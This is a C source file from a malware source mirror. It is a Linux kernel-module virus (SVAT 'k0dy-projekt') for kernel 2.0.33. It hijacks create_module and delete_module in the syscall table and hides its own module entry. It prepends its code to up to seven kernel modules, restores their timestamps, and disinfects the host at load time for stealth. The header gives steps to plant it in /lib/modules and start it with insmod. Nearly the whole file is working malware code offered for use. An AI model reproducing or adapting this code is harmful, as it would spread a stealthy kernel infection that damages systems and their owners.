mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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530 lines
14 KiB
C
530 lines
14 KiB
C
/* SVAT - Special Virii And Trojans - present:
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*
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* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
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*
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* 0kay guys, here we go...
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* As i told you with VLP I (we try to write an fast-infector)
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* here's the result:
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* a full, non-overwriting module infector that catches
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* lkm's due to create_module() and infects them (max. 7)
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* if someone calls delete_module() [even on autoclean].
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* Linux is not longer a virii-secure system :(
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* and BSD follows next week ...
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* Since it is not needed 2 get root (by the module) you should pay
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* attention on liane.
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* Note the asm code in function init_module().
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* U should assemble your /usr/src/.../module.c with -S and your CFLAG
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* from your Makefile and look for the returnvalue from the first call
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* of find_module() in sys_init_module(). look where its stored (%ebp for me)
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* and change it in __asm__ init_module()! (but may it is not needed)
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*
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* For education only!
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* Run it only with permisson of the owner of the system you are logged on!!!
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*
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* !!! YOU USE THIS AT YOUR OWN RISK !!!
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*
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* I'm not responsible for any damage you maybe get due to playing around with this.
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*
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* okay guys, you have to find out some steps without my help:
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*
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* 1. $ cc -c -O2 module.c
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* 2. get length of module.o and patch the #define MODLEN in module.c
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* 3. $ ???
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* 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
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* 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
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* >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
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* 6. $ insmod ???
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*
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* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
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* kernel 2.0.33. It works.
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*
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* greets (in no order...)
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* <><><><><><><><><><><><>
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*
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* NetW0rker - tkx for da sources
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* Serialkiller - gib mir mal deine eMail-addy
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* hyperSlash - 1st SVAT member, he ?
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* naleZ - hehehe
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* MadMan - NetW0rker wanted me to greet u !?
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* KilJaeden - TurboDebugger and SoftIce are a good choice !
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*
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* and all de otherz
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*
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* Stealthf0rk/SVAT <stealth@cyberspace.org>
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*/
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#define __KERNEL__
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#define MODULE
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#define MODLEN 6196
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#define ENOUGH 7
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#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
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#define END_KMEM set_fs(old_fs);}
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/* i'm not sure we need all of 'em ...*/
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#include <linux/version.h>
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#include <linux/mm.h>
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#include <linux/unistd.h>
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#include <linux/fs.h>
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#include <linux/types.h>
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#include <asm/errno.h>
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#include <asm/string.h>
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#include <linux/fcntl.h>
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#include <sys/syscall.h>
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#include <linux/module.h>
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#include <linux/malloc.h>
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#include <linux/kernel.h>
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#include <linux/kerneld.h>
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#define __NR_our_syscall 211
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#define MAXPATH 30
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/*#define DEBUG*/
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#ifdef DEBUG
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#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
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#else
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#define DPRINTK(format, args...)
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#endif
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/* where the sys_calls are */
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extern void *sys_call_table[];
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/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
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* if you change the default_path[] values
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*/
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static char *default_path[] = {
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".", "/linux/modules",
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"/lib/modules/2.0.33/fs",
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"/lib/modules/2.0.33/net",
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"/lib/modules/2.0.33/scsi",
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"/lib/modules/2.0.33/block",
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"/lib/modules/2.0.33/cdrom",
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"/lib/modules/2.0.33/ipv4",
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"/lib/modules/2.0.33/misc",
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"/lib/modules/default/fs",
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"/lib/modules/default/net",
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"/lib/modules/default/scsi",
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"/lib/modules/default/block",
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"/lib/modules/default/cdrom",
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"/lib/modules/default/ipv4",
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"/lib/modules/default/misc",
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"/lib/modules/fs",
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"/lib/modules/net",
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"/lib/modules/scsi",
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"/lib/modules/block",
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"/lib/modules/cdrom",
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"/lib/modules/ipv4",
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"/lib/modules/misc",
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0
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};
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static struct symbol_table my_symtab = {
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#include <linux/symtab_begin.h>
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X(printk),
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X(vmalloc),
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X(vfree),
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X(kerneld_send),
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X(current_set),
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X(sys_call_table),
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X(register_symtab_from),
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#include <linux/symtab_end.h>
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};
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char files2infect[7][60 + 2];
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/* const char kernel_version[] = UTS_RELEASE; */
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int (*old_create_module)(char*, int);
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int (*old_delete_module)(char *);
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int (*open)(char *, int, int);
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int (*close)(int);
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int (*unlink)(char*);
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int our_syscall(int);
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int infectfile(char *);
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int is_infected(char *);
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int cp(struct file*, struct file*);
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int writeVir(char *, char *);
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int init_module2(struct module*);
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char *get_mod_name(char*);
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/* needed to be global */
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void *VirCode = NULL;
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/* install new syscall to see if we are already in kmem */
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int our_syscall(int mn)
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{
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/* magic number: 40hex :-) */
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if (mn == 0x40)
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return 0;
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else
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return -ENOSYS;
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}
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int new_create_module(char *name, int size)
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{
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int i = 0, j = 0, retval = 0;
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if ((retval = old_create_module(name, size)) < 0)
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return retval;
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/* find next free place */
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for (i = 0; files2infect[i][0] && i < 7; i++);
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if (i == 6)
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return retval;
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/* get name of mod from user-space */
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while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
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j++;
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DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
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return retval;
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}
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/* we infect modules after sys_delete_module, to be sure
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* we don't confuse the kernel
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*/
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int new_delete_module(char *modname)
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{
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static int infected = 0;
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int retval = 0, i = 0;
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char *s = NULL, *name = NULL;
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retval = old_delete_module(modname);
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if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
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return retval;
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for (i = 0; files2infect[i][0] && i < 7; i++) {
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strcat(files2infect[i], ".o");
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if ((s = get_mod_name(files2infect[i])) == NULL) {
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return retval;
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}
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name = strcpy(name, s);
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if (!is_infected(name)) {
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DPRINTK("try 2 infect %s as #%d\n", name, i);
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infected++;
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infectfile(name);
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}
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memset(files2infect[i], 0, 60 + 2);
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} /* for */
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/* its enough */
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if (infected >= ENOUGH)
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cleanup_module();
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vfree(name);
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return retval;
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}
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/* lets take a look at sys_init_module(), that calls
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* our init_module() compiled with
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* CFLAG = ... -O2 -fomit-frame-pointer
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* in C:
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* ...
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* if((mp = find_module(name)) == NULL)
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* ...
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*
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* is in asm:
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* ...
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* call find_module
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* movl %eax, %ebp
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* ...
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* note that there is no normal stack frame !!!
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* thats the reason, why we find 'mp' (return from find_module) in %ebp
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* BUT only when compiled with the fomit-frame-pointer option !!!
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* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
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* you should find mp at -4(%ebp) .
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* thiz is very bad hijacking of local vars and an own topic.
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* I hope you do not get an seg. fault.
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*/
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__asm__
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("
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.align 16
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.globl init_module
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.type init_module,@function
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init_module:
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pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
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/* and the parameter for init_module2() */
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call init_module2
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popl %eax
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xorl %eax, %eax /* all good */
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ret /* and return */
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.hype27:
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.size init_module,.hype27-init_module
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");
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/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
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*
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* pushl %ebx
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* movl %ebp, %ebx
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* pushl -4(%ebx)
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* call init_module2
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* addl $4, %esp
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* xorl %eax, %eax
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* popl %ebx
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* ret
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*/
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/*----------------------------------------------*/
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int init_module2(struct module *mp)
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{
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char *s = NULL, *mod = NULL, *modname = NULL;
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long state = 0;
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mod = vmalloc(60 + 2);
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modname = vmalloc(MAXPATH + 60 + 2);
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if (!mod || !modname)
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return -1;
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strcpy(mod, mp->name);
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strcat(mod, ".o");
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MOD_INC_USE_COUNT;
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DPRINTK("in init_module2: mod = %s\n", mod);
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/* take also a look at phrack#52 ...*/
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mp->name = "";
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mp->ref = 0;
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mp->size = 0;
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/* thiz is our new main ,look for copys in kmem ! */
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if (sys_call_table[__NR_our_syscall] == 0) {
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old_delete_module = sys_call_table[__NR_delete_module];
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old_create_module = sys_call_table[__NR_create_module];
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sys_call_table[__NR_our_syscall] = (void*)our_syscall;
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sys_call_table[__NR_delete_module] = (void*)new_delete_module;
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sys_call_table[__NR_create_module] = (void*)new_create_module;
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memset(files2infect, 0, (60 + 2)*7);
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register_symtab(&my_symtab);
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}
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register_symtab(0);
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open = sys_call_table[__NR_open];
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close = sys_call_table[__NR_close];
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unlink = sys_call_table[__NR_unlink];
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if ((s = get_mod_name(mod)) == NULL)
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return -1;
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modname = strcpy(modname, s);
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load_real_mod(modname, mod);
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vfree(mod);
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vfree(modname);
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return 0;
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}
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int cleanup_module()
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{
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sys_call_table[__NR_delete_module] = old_delete_module;
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sys_call_table[__NR_create_module] = old_create_module;
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sys_call_table[__NR_our_syscall] = NULL;
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DPRINTK("in cleanup_module\n");
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vfree(VirCode);
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return 0;
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}
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/* returns 1 if infected;
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* seek at position MODLEN + 1 and read out 3 bytes,
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* if it is "ELF" it seems the file is already infected
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*/
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int is_infected(char *filename)
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{
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char det[4] = {0};
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int fd = 0;
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struct file *file;
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DPRINTK("in is_infected: filename = %s\n", filename);
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BEGIN_KMEM
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fd = open(filename, O_RDONLY, 0);
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END_KMEM
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if (fd <= 0)
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return -1;
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if ((file = current->files->fd[fd]) == NULL)
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return -2;
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file->f_pos = MODLEN + 1;
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DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
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BEGIN_KMEM
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file->f_op->read(file->f_inode, file, det, 3);
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close(fd);
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END_KMEM
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DPRINTK("in is_infected: det = %s\n", det);
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if (strcmp(det, "ELF") == 0)
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return 1;
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else
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return 0;
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}
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/* copy the host-module to tmp, write VirCode to
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* hostmodule, and append tmp.
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* then delete tmp.
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*/
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int infectfile(char *filename)
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{
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char *tmp = "/tmp/t000";
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int in = 0, out = 0;
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struct file *file1, *file2;
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BEGIN_KMEM
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in = open(filename, O_RDONLY, 0640);
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out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
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END_KMEM
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DPRINTK("in infectfile: in = %d out = %d\n", in, out);
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if (in <= 0 || out <= 0)
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return -1;
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file1 = current->files->fd[in];
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file2 = current->files->fd[out];
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if (!file1 || !file2)
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return -1;
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/* save hostcode */
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cp(file1, file2);
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BEGIN_KMEM
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file1->f_pos = 0;
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file2->f_pos = 0;
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/* write Vircode [from mem] */
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DPRINTK("in infetcfile: filenanme = %s\n", filename);
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file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
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/* append hostcode */
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cp(file2, file1);
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close(in);
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close(out);
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unlink(tmp);
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END_KMEM
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return 0;
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}
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int disinfect(char *filename)
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{
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char *tmp = "/tmp/t000";
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int in = 0, out = 0;
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struct file *file1, *file2;
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BEGIN_KMEM
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in = open(filename, O_RDONLY, 0640);
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out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
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END_KMEM
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DPRINTK("in disinfect: in = %d out = %d\n",in, out);
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if (in <= 0 || out <= 0)
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return -1;
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file1 = current->files->fd[in];
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file2 = current->files->fd[out];
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if (!file1 || !file2)
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return -1;
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/* save hostcode */
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cp(file1, file2);
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BEGIN_KMEM
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close(in);
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DPRINTK("in disinfect: filename = %s\n", filename);
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unlink(filename);
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in = open(filename, O_RDWR|O_CREAT, 0640);
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END_KMEM
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if (in <= 0)
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return -1;
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file1 = current->files->fd[in];
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if (!file1)
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return -1;
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file2->f_pos = MODLEN;
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cp(file2, file1);
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BEGIN_KMEM
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close(in);
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close(out);
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unlink(tmp);
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END_KMEM
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return 0;
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}
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/* a simple copy routine, that expects the file struct pointer
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* of the files to be copied.
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* So its possible to append files due to copieng.
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*/
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int cp(struct file *file1, struct file *file2)
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{
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int in = 0, out = 0, r = 0;
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char *buf;
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if ((buf = (char*)vmalloc(10000)) == NULL)
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return -1;
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DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
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BEGIN_KMEM
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while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
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file2->f_op->write(file2->f_inode, file2, buf, r);
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file2->f_inode->i_mode = file1->f_inode->i_mode;
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file2->f_inode->i_atime = file1->f_inode->i_atime;
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file2->f_inode->i_mtime = file1->f_inode->i_mtime;
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file2->f_inode->i_ctime = file1->f_inode->i_ctime;
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END_KMEM
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vfree(buf);
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return 0;
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}
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/* Is that simple: we disinfect the module [hide 'n seek]
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* and send a request to kerneld to load
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* the orig mod. N0 fuckin' parsing for symbols and headers
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* is needed - cool.
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*/
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int load_real_mod(char *path_name, char *name)
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{
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int r = 0, i = 0;
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struct file *file1, *file2;
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int in = 0, out = 0;
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DPRINTK("in load_real_mod name = %s\n", path_name);
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if (VirCode)
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vfree(VirCode);
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VirCode = vmalloc(MODLEN);
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if (!VirCode)
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return -1;
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BEGIN_KMEM
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in = open(path_name, O_RDONLY, 0640);
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END_KMEM
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if (in <= 0)
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return -1;
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file1 = current->files->fd[in];
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if (!file1)
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return -1;
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/* read Vircode [into mem] */
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BEGIN_KMEM
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file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
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close(in);
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END_KMEM
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disinfect(path_name);
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r = request_module(name);
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DPRINTK("in load_real_mod: request_module = %d\n", r);
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return 0;
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}
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char *get_mod_name(char *mod)
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{
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int fd = 0, i = 0;
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static char* modname = NULL;
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|
|
if (!modname)
|
|
modname = vmalloc(MAXPATH + 60 + 2);
|
|
if (!modname)
|
|
return NULL;
|
|
BEGIN_KMEM
|
|
for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
|
|
memset(modname, 0, MAXPATH + 60 + 2);
|
|
modname = strcpy(modname, default_path[i]);
|
|
modname = strcat(modname, "/");
|
|
modname = strcat(modname, mod);
|
|
if ((fd = open(modname, O_RDONLY, 0640)) > 0)
|
|
break;
|
|
}
|
|
close(fd);
|
|
END_KMEM
|
|
if (!default_path[i])
|
|
return NULL;
|
|
return modname;
|
|
}
|